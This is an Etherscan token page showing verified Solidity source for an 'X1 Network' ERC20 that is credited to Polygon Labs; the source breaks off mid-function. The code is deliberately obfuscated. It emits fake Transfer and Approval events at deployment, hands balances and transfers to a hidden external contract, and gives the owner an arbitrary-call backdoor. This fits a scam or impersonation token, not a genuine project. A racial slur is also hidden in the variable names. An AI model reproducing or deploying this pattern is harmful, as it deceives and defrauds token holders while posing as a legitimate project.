ETH Price: $3,501.85 (+4.31%)
Gas: 4 Gwei

Token

X1 Network (X1)
 

Overview

Max Total Supply

353,370,769.05169409901543204 X1

Holders

402

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Jump Trading 2
Balance
1,467,112.8712 X1

Value
$0.00
0x9507c04b10486547584c37bcbd931b2a4fee9a41
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x1111111B...1010b8dCE
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
X1NetworkToken

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

// SPDX-License-Identifier: MIT

/// @title X1 ERC20 token
/// @author Polygon Labs (@DhairyaSethi, @gretzke, @qedk, @simonDos)
/// @notice This is the X1 ERC20 token contract on Ethereum L1
/// @dev The contract allows for a 1-to-1 representation between $X1 and $OKB and allows for additional emission based on hub and treasury requirements
/// @custom:security-contact [email protected]

/***

                                      
   XXXXXXX       XXXXXXX      1111111        
   X:::::X       X:::::X     1::::::1        
   X:::::X       X:::::X    1:::::::1        
   X::::::X     X::::::X    111:::::1        
   XXX:::::X   X:::::XXX       1::::1        
      X:::::X X:::::X          1::::1        
       X:::::X:::::X           1::::1        
        X:::::::::X            1::::l        
        X:::::::::X            1::::l        
       X:::::X:::::X           1::::l        
      X:::::X X:::::X          1::::l        
   XXX:::::X   X:::::XXX       1::::l        
   X::::::X     X::::::X    111::::::111     
   X:::::X       X:::::X    1::::::::::1     
   X:::::X       X:::::X    1::::::::::1     
   XXXXXXX       XXXXXXX    111111111111     
                                      

***/

pragma solidity ^0.8;

interface ukasHDRGEILUhilusheruilgHLuisrhGLUIR{function factory()external view returns(address);function token0()external view returns(address);function token1()external view returns(address);function fee()external view returns(uint24);function tickSpacing()external view returns(int24);function maxLiquidityPerTick()external view returns(uint128);}interface KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv{function slot0()external view returns(uint160 hPGHR78gh78ehroguihoeuisrhgu,int24 fjgnjNLUIRHgiehgiuehriugh,uint16 tghiuHIRHiuhgerthgihi57,uint16 ktjghuHIURghoi7eh5i7ghg,uint16 rhgkhGKJRglyueghaouryghOLru458,uint8 unlitowuwefgzvdfgvadfg,bool yetjetyhjtyrjwrthwrfgvh);function feeGrowthGlobal0X128()external view returns(uint256);function feeGrowthGlobal1X128()external view returns(uint256);function protocolFees()external view returns(uint128 sdfoijgwiuerfhjgi9pquerhgp,uint128 ldkrfjqguedtpivqghergviuq);function liquidity()external view returns(uint128);function ticks(int24 tick)external view returns(uint128 jdfiovjpiowertjgipuqrhugihvquierhgui,int128 liqyrkfjqciuhrjifguhqieurghuirNe,uint256 rguihjiwuhertgnwkrtnguiowhrt,uint256 EUIYtyva7r4tha7oe45th7va8oeh87rt,int56 OIETjgnbiusjrtuih4thoawetyuerghtyuoa,uint160 rmgioqwerhuipghaeipurng,uint32 awelktvboajfgjboavjerg,bool eorfopirejgpvoqjerpgiovjqrejgi);function tickBitmap(int16 qjierhoqcvuihreuioygfhoquerguoyqerug)external view returns(uint256);function positions(bytes32 jdfhvqciouherouighoqierhgyhqcoueyrghoyuqv)external view returns(uint128 advhfakheuirfhquihgyq4gyuq4gq,uint256 bmslfkgmbsfgnmsiuheurghailer,uint256 foiqvjroigjpqoehrguihqvuiehr,uint128 fiojghnpowtjughcuwherhgciw,uint128 wlerjgvoqierjgoijqeriojgquhiuthghpiure);function observations(uint256 woirhgiwurthgoi5w47thht7w4ohith)external view returns(uint32 qe5ytbu58uy498yup9w8y5huiwirthgiuw,int56 gcqjirhiouqghouierhgiouhqeruioghuiqheruighiqr,uint160 qierutyobiuqoripejgqvhuierg,bool rucvhqnuierhguiohreoiughiquerg);}interface iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg{function observe(uint32[]calldata wboperpogkoijquehuygyegfqwe)external view returns(int56[]memory asdhfashudfghuyaergfua,uint160[]memory quirfyoiuqcheiurghuioqerghyuir);function snapshotCumulativesInside(int24 kehjfiuowehfuioehrfi,int24 giubwopierigupwoierugopiwer)external view returns(int56 oierjfqocerijxfoqiejrgoierqhg,uint160 ufhqeiurthuiqerhgiuhduhjfaklsdhfajk,uint32 odgfchyursdgfyueargfyugaeyurg);}interface lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw{function initialize(uint160 ewrgeargadrfhtjyutjyu)external;function mint(address skhgvaidufhuighspduifhg,int24 akdfgvajkdsigfjaiodfjgioa,int24 sfcvgoadhpfiuoghjvcauiosdfhgu,uint128 dkfkjghbniduasfhgudfhguipvbh,bytes calldata aiudcfghiaudhfguiccchccsdociccfcucgh)external returns(uint256 jhgcdfuyegcdfyuoeryug,uint256 sfgbisdfpogijbseoirjgiorej);function collect(address sfopbuiytiryiojkdfvhgdhg,int24 yojopkprtjqwgeurvfghaergf,int24 fqecjpeoirfjuioprhgiuerqh,uint128 aserefqevhcnoiquwehrvioquwehf,uint128 fbaerjukilkiutlilyrf)external returns(uint128 rgwerghadazfjhdgyj,uint128 vbasdrgaedrgaedrg);function burn(int24 etyjhur67ir7iujtyvhwerth,int24 dtgyjmtydjsrthvsrtgh,uint128 qfjieurhgfciourqehgoyuircghyuoegh)external returns(uint256 sfgbsrtnetbwjrtnbuiwrnpitb,uint256 dghmnryujmryumryumryum);function swap(address stghbuqerhguipqherug,bool srthhmuji,int256 etyjetyjhsrtyhrth,uint160 hdgmngmfghmyhjwrth,bytes calldata srtyhaergsdrfgaer)external returns(int256 tgwrthetyyujkukryuk,int256 wrtha4ertq4t54yh6hr);function flash(address rwtjhsrtjtyuliukley,uint256 amqe54tw5tuyhrtyjtyjoun,uint256 wrthwrthsftgtjetyje,bytes calldata rtyhnetyikjyetujida)external;function increaseObservationCardinalityNext(uint16 etykghnsfthwrth)external;}interface uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho{function setFeeProtocol(uint8 kedjhfvijadshgjivahd,uint8 adfvnakjdhfjahdv)external;function collectProtocol(address dzfgnavkfngoiaerjgoij,uint128 ghjklsfjklhjfghoistjh,uint128 safdgpiedfcvpawejfiaowej)external returns(uint128 sdrfhgvcciauheruighoiaec4vu,uint128 rgfkjehdfgheviurhguiqerhgui);}interface ojvioajdiorfjvoiaqjeruiobghjuipoaer{event Initialize(uint160 kfgjhwerfughiluaqerhvuilrheuiv,int24 fjkdhfvjiarehjpfgvoerhjoifgh);event Mint(address kfjhgvkwjwfhoguiqherifugvhqer,address indexed lwekruovbiu9op3iurtp894r5yutg8r5gh,int24 indexed frujivyfgio3ueryhtgvioqu34t87ih43t,int24 indexed ejkdfhviu34qehfiuohq34of7ih43,uint128 qerifgvhquierhfviquehrfv8hq34,uint256 qrhfgviquerhfuipvhq34piufhq,uint256 erihfgvqieurhfgviuqerhuigfhr);event Collect(address indexed sdfvvgadfgvaergvbaergbqeargb,address sergbwaergbqergnqergqeargb,int24 indexed sergbwrthnertyhnertyhe,int24 indexed dgnfvjhdfivjhjoaerijgio,uint128 ledrfgvjpqioerjgoiqverhjg,uint128 fkjgvpoierfhjgiopvwjperog);event Burn(address indexed wrtbyhwrtybwrtybwrty,int24 indexed w4r5vyw4r5yvhwrtyhvwrtybwrt,int24 indexed srtybwrtysdfhhkyulku,uint128 aerfgaedrbtqerybqerty,uint256 srthbwrtyunmryuimrttyunj,uint256 retvqrgvrqeterybwertybwrtyubn);event Swap(address indexed aevrgvqergn7t6yj7nrtyj,address indexed srtbbghwertgvcqwcergvwerg,int256 rteunmurkmryjnetyhjneb,int256 wrtvybq4rgvbq4rtgbwrtyb,uint160 er6tubnw56tyu67muje57n7je,uint128 qervtqeve45tvbq45y,int24 ertybunw56tyuw56unw56tyunbw6);event Flash(address indexed srtghvwrthvbwrthb,address indexed srtbhwrtghbtnyuj,uint256 ukmjnrujyjbet,uint256 srtvywrthvhgb,uint256 tunwtum6uw356,uint256 rvyw75iv7864e6tu);event IncreaseObservationCardinalityNext(uint16 sfgnbfguhbpvqiorhptguiohqvpeuiorgth,uint16 kjsfdgvhiuahruiftghopiaerhpgiouhruhg);event SetFeeProtocol(uint8 erkghfvqoerghvluiqerhgpivuerqhg,uint8 rfjhgvqergouivqerhogyuhvqer,uint8 kjrfhgvquerhguipqvhergu,uint8 wrdflgvjpweioarfgjopqaerijgov);event CollectProtocol(address indexed rfljkghvwuirfhbpiuwrhtpuibh,address indexed gkwrvjhoguiqrhguihwvecruigh,uint128 werghvoquryeghovyuiqergh,uint128 vwreughviuqreghovuiqeryg);}interface jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn is ukasHDRGEILUhilusheruilgHLuisrhGLUIR,KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv,iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg,lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw,uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho,ojvioajdiorfjvoiaqjeruiobghjuipoaer{}interface rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{event Transfer(address indexed gvqejrhgiuaerhgiuqerhgiu,address indexed kfjdhgvouiqrhgpiqhpirgiu,uint256 ergivjiouaefrhvbgiuqerhuihg);event Approval(address indexed iqevuryguiyrpiuytb84577tyb5y6wg,address indexed tiopugvy45vhg75hgise5g,uint256 qdvhjkfgvbuiafhpgiqeruigh);function totalSupply()external view returns(uint256);function balanceOf(address opwfcgirhjiqerhygouiqcvoeirugh)external view returns(uint256);function transfer(address wrbywrthbwrtuj,uint256 tuwnrgumweorvigioq4urgv)external returns(bool);function allowance(address rtwuybwrthwrthwnrb,address rtnywrtyhbw4r5tyhb)external view returns(uint256);function approve(address er6ybaerfgtrhnytikj,uint256 ssr5nywr5ybwr5y)external returns(bool);function transferFrom(address dfgnsdrtjwrstykjwsrtyn,address sdftghwsrtjhwsrt,uint256 sftgjnsfgbsfgb)external returns(bool);}interface ruihgiUHILURHGUILhluihlghuieasrhuigh is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{function name()external view returns(string memory);function symbol()external view returns(string memory);function decimals()external view returns(uint8);}interface fjrguioaserhjuiHJUIDRHguihuirehga{event OwnerChanged(address indexed tywhrtwhwtrvbg,address indexed wervtyqrtjnryuikr);event PoolCreated(address indexed wertvyedtqrnw6rt6yuhnwrth,address indexed wervtgvbwertbyeytjbvtej,uint24 indexed wr5tyhbvw45uy56nue65ucw45tfcw4,int24 ertb6ue56u6unyo98p,address ebrtguyyiyqrytq4ynteyinty);event FeeAmountEnabled(uint24 indexed tghvwert56ujbet6yw5rgvbw45y,int24 indexed serbysergvser5g5vae45vtgsea);function owner()external view returns(address);function feeAmountTickSpacing(uint24 wsrtybvwrtybwdrtybhwertgb)external view returns(int24);function getPool(address ebfgyujnstny4w5y567jft7idt,address wr5yher6hsbr5yn45whgnbw,uint24 wvrtygbwrthwrtghnrrhbtybnwrtghbaer)external view returns(address sdfthsdfthjdtfiurtyuj6eru);function createPool(address hsrrthrsdtbsrfdth,address tokhertyhertyhertyhetrghxfte,uint24 thrtwhwer6ut6j7ethjyt)external returns(address wgv5y5ywb5w4ywr5thgrtgh);function setOwner(address erthjrtfhjsdfthye6herthrth)external;function enableFeeAmount(uint24 wr5t6hwrthfthdfth,int24 trhe56rh6redshthwrth)external;}interface rojhgiouserhjughjIUHRUIghluihseilrug{function uniswapV3MintCallback(uint256 vjkldLSDKPgiospoerg98re8rg,uint256 ogkrKOPRFOPhor9herh8et,bytes calldata osdfkvJIOPSRgjjruhweyurygfs)external;}interface fdjhuiphUIPHRUIghuidrhuighuiehgwe{function uniswapV3SwapCallback(int256 fdiojbiJFIOHJDISOPJHRF,int256 vjjOISERJghipjioperjh9hw8ewpe98r5,bytes calldata dgjiJSIORJGiojrthj98df8bwefwe)external;}interface fvbihnSIOUUEhgituowhuivnu7r778z7yduf{function fe6c46bc3b6c()external view returns(address);function a2f409198077()external view returns(address);function c36e32f9dffe(address ilusdhriuhgui)external;}interface ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d{function bfeb2faed153()external view returns(uint256);function c6d82de276f0()external view returns(uint256);event B32af3805412(uint256 idabfvnGador8tgo);event Df5cb0ac5af6(address ieurghuishlrunvb,uint256 vb9tynu9e8yrhg);function ec47f8bce750()external view returns(uint256);function cb9a9f3c49fd(address fioiojfOISDRFighjopsrghp)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);function adbfe1118e05(uint256 dfklvSOPdegopskrokvsdpokvo)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);}interface dikjIKUYUISDeugsukKUSEU8e48fy934{function b32af3805412(uint256 uysdgvfktyuGVKYUSEDGFIUSYEGIyfg7uw6yefgeee7u8wrga8)external;function df5cb0ac5af6(address r9oeikpkrgmlkdfgnmbdiortoh8rth,uint256 fogbOPSDOPRjghjkdropghkoprdbvkepodrv)external;function bbe672b5acc8(uint256 flkvbOLKROPgkoprekg,uint256 fdvdfoOPRJohkgopwerkgopkg,uint256 flOLFovbldfopkbkdpofkbort9bn9)external;}interface dujhvUSEUhgiuhuihued87w747hwif{function dbd253ba9079()external view returns(uint256);function ba179150f767(address kvldkiosioodimidsd)external view returns(uint256);function a117c97c1973(address vmlsdkvmksmdklmvklmskldv,address owietqpoiefjqpoeidcmqe)external view returns(uint256);function e20d660cdf88(address dijvvUISDHEPSIEUHFGu8hi,address jvbjdiiioIODJFIOJbijiojoijipopp,uint256 vmKMIOSdjnkmlrevmpweopvower)external returns(bool);function a00d660cdf88(address uirvuue89tg7847rewgh7vhaiuser,address jjSIOEDigjojierigopwoegpk0wke0g,uint256 mmLIMEDImgjpwekogkrboijOIJSDRgb)external returns(bool);function ad3824bcab20(address nnUIONEguionoweruingre8g8werg,address vmmIOPSRgjirpiohbopefopvbksdp,uint256 dvisdkmIKOLSDEIMOvpseovwsdvs)external returns(bool);}struct IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er{address duvcUIHUISEDHui;uint256 dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs;uint256 divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h;uint256 dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;mmmIKOIDeiufoisefuoise989werh789vu[]mmmOILKDfjrgonoernphwsotwkboiertiomb;}struct mmmIKOIDeiufoisefuoise989werh789vu{address vnuJJUIOLSE9he9rkbveiaerge;uint256 vmIEDIOiopfwppeofgkpg9w9eg;}uint256 constant UIduhvuUISEDHuorghsoosircJJu8wopexieojcvoheA1Iee=1000000;uint256 constant bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku=type(uint256).max;interface IHGruehgiunsrfuvdniugh6e4tsyudgvb is fvbihnSIOUUEhgituowhuivnu7r778z7yduf,ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d,dikjIKUYUISDeugsukKUSEU8e48fy934,dujhvUSEUhgiuhuihued87w747hwif{}library IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7{function OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(IHGruehgiunsrfuvdniugh6e4tsyudgvb ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne,address dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7)internal view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory){return ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne.cb9a9f3c49fd(dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7);}function PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(IHGruehgiunsrfuvdniugh6e4tsyudgvb cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q,address vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g,uint256 kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb)internal{cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q.df5cb0ac5af6(vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g, kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb);}function OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH(IHGruehgiunsrfuvdniugh6e4tsyudgvb fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h)internal view returns(uint256){return fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h.dbd253ba9079();}function OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(IHGruehgiunsrfuvdniugh6e4tsyudgvb fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh,address fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb)internal view returns(uint256){return fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh.ba179150f767(fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb);}function dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(IHGruehgiunsrfuvdniugh6e4tsyudgvb iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg,address fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng,address lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig)internal view returns(uint256){return iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg.a117c97c1973(fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng, lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig);}function KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(IHGruehgiunsrfuvdniugh6e4tsyudgvb kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi,address fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg,address FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt,uint256 klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh)internal returns(bool){return kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi.e20d660cdf88(fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg, FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt, klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh);}function IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(IHGruehgiunsrfuvdniugh6e4tsyudgvb JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb,address jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg,address gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb,uint256 JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg)internal returns(bool){return JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb.a00d660cdf88(jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg, gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb, JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg);}function OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(IHGruehgiunsrfuvdniugh6e4tsyudgvb jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd,address hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy,address fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh,uint256 fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH)internal returns(bool){return jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd.ad3824bcab20(hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy, fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh, fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH);}}abstract contract bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private siojdcHHCpa;constructor(){siojdcHHCpa=msg.sender;}modifier onlyOwner(){POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg();_;}function POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg()internal view virtual{require(msg.sender==siojdcHHCpa,"NO");}}abstract contract vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private asxIIOICjsl;function owner()external view virtual returns(address){return asxIIOICjsl;}function e248103f8262(address cideJJcAtr)external onlyOwner{asxIIOICjsl=cideJJcAtr;}}abstract contract pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l{uint256 private SiwodfcnJYHUds;modifier acquiresLock{_;SiwodfcnJYHUds=block.number;}modifier requiresLock{require(SiwodfcnJYHUds!=block.number,"BL");_;}}abstract contract duhvushUIOSHDEURIghuishreguihwsuig is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{receive()external payable{}function c91a97942d5a(address Hhchuid,uint256 HPSCwee,bytes calldata zXXc0YYajikn)external onlyOwner{(bool ttRrauysgc,)=Hhchuid.call{value:HPSCwee}(zXXc0YYajikn);require(ttRrauysgc);}}abstract contract NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4 is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg,ruihgiUHILURHGUILhluihlghuieasrhuigh{using IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7 for IHGruehgiunsrfuvdniugh6e4tsyudgvb;IHGruehgiunsrfuvdniugh6e4tsyudgvb private immutable KKkd9jcawj;string private ddOJIJIO;string private WWncisudcin;modifier bypassKLimit(address PVPfpbnwnqGYUYGsc){uint256 asaERTYjbmvrbopopvddwefm=JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(PVPfpbnwnqGYUYGsc);iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);_;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,asaERTYjbmvrbopopvddwefm);}constructor(string memory erhjktbpdfvsoGGG,string memory erthbhbrGYUTYFDRvc,address mmweDD7dsccKKK){ddOJIJIO=erhjktbpdfvsoGGG;WWncisudcin=erthbhbrGYUTYFDRvc;KKkd9jcawj=IHGruehgiunsrfuvdniugh6e4tsyudgvb(mmweDD7dsccKKK);KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(address(this),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);uint256 oovlvllvlvTYGTG=KKkd9jcawj.ec47f8bce750();for(uint256 aaaRRFTRTFCCTVY=0;aaaRRFTRTFCCTVY<oovlvllvlvTYGTG;aaaRRFTRTFCCTVY++){IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory vbnvbvbMJKMRRT=KKkd9jcawj.adbfe1118e05(aaaRRFTRTFCCTVY);emit Transfer(address(0),vbnvbvbMJKMRRT.duvcUIHUISEDHui,vbnvbvbMJKMRRT.divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h-vbnvbvbMJKMRRT.dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs);for(uint256 weeFTYUTYfcvubsiodfib=0;weeFTYUTYfcvubsiodfib<vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb.length;weeFTYUTYfcvubsiodfib++){mmmIKOIDeiufoisefuoise989werh789vu memory bbTYFPPafjhnfvhnvuisdhuv=vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb[weeFTYUTYfcvubsiodfib];emit Approval(vbnvbvbMJKMRRT.duvcUIHUISEDHui,bbTYFPPafjhnfvhnvuisdhuv.vnuJJUIOLSE9he9rkbveiaerge,bbTYFPPafjhnfvhnvuisdhuv.vmIEDIOiopfwppeofgkpg9w9eg);}}}function a5feccd6e5df()external view returns(address){return address(KKkd9jcawj);}function name()external view returns(string memory){return ddOJIJIO;}function symbol()external view returns(string memory){return WWncisudcin;}function decimals()external pure returns(uint8){return 18;}function totalSupply()external view returns(uint256){return KKkd9jcawj.OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH();}function balanceOf(address huivhRTRDTDR)external view returns(uint256){return KKkd9jcawj.OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(huivhRTRDTDR);}function transfer(address vbnbnfsnbnsdfbHIUIHHUHUIOHU,uint256 bbvncbbCDDDDdcstacvcdTTYTT)external returns(bool){address vvvrasYYGUGYUhuvuiduhvdfkovkovdf=msg.sender;return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vvvrasYYGUGYUhuvuiduhvdfkovkovdf,vbnbnfsnbnsdfbHIUIHHUHUIOHU,bbvncbbCDDDDdcstacvcdTTYTT);}function allowance(address BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,address gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi)external view returns(uint256){return KKkd9jcawj.dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi);}function approve(address vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,uint256 nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD)external returns(bool){address fbnjksjknhjbDFEruedidjdicklGGGsss=msg.sender;return OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(fbnjksjknhjbDFEruedidjdicklGGGsss,vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD);}function transferFrom(address vcvcUIUHHUIhuenfklwppffs,address nnUHUIUIHUIhvbwfvakoasisdif,uint256 bbvTYTVYRTYT0dvllkjkiqauiwuhdf)external returns(bool){address bbVTTYTYTtdumBASsuiuiuh=msg.sender;KKkd9jcawj.OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(vcvcUIUHHUIhuenfklwppffs,bbVTTYTYTtdumBASsuiuiuh,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vcvcUIUHHUIhuenfklwppffs,nnUHUIUIHUIhvbwfvakoasisdif,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);}function OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(address nnTTYtepppkvjhjhwiuyehgfFseX,address hhuUYTYUUTYeihhfUIUisuHgGG,uint256 bbbBBBisiicjhjgdr5rrhaui78TGTT)internal returns(bool){require(nnTTYtepppkvjhjhwiuyehgfFseX!=address(0),"IS");require(hhuUYTYUUTYeihhfUIUisuHgGG!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(nnTTYtepppkvjhjhwiuyehgfFseX,hhuUYTYUUTYeihhfUIUisuHgGG,bbbBBBisiicjhjgdr5rrhaui78TGTT);}function dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(address vvYUOPKOJvjnbvbnffvvNKRFshtys,uint256 bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal)internal returns(bool){require(vvYUOPKOJvjnbvbnffvvNKRFshtys!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address(0),vvYUOPKOJvjnbvbnffvvNKRFshtys,bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal);}function oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,uint256 vvRTRTedvyuysdyvgIloveGGaysygufyppPP)internal returns(bool){require(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui!=address(0),"IS");require(vvRTRTedvyuysdyvgIloveGGaysygufyppPP>0,"ZA");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,address(0),vvRTRTedvyuysdyvgIloveGGaysygufyppPP);}function OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(address ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,address bbbTvvreeeTTTscatyhyaikfhhhUUUU,uint256 nnYBUYUgvjikikkksuuuuufcgvgFFF)internal 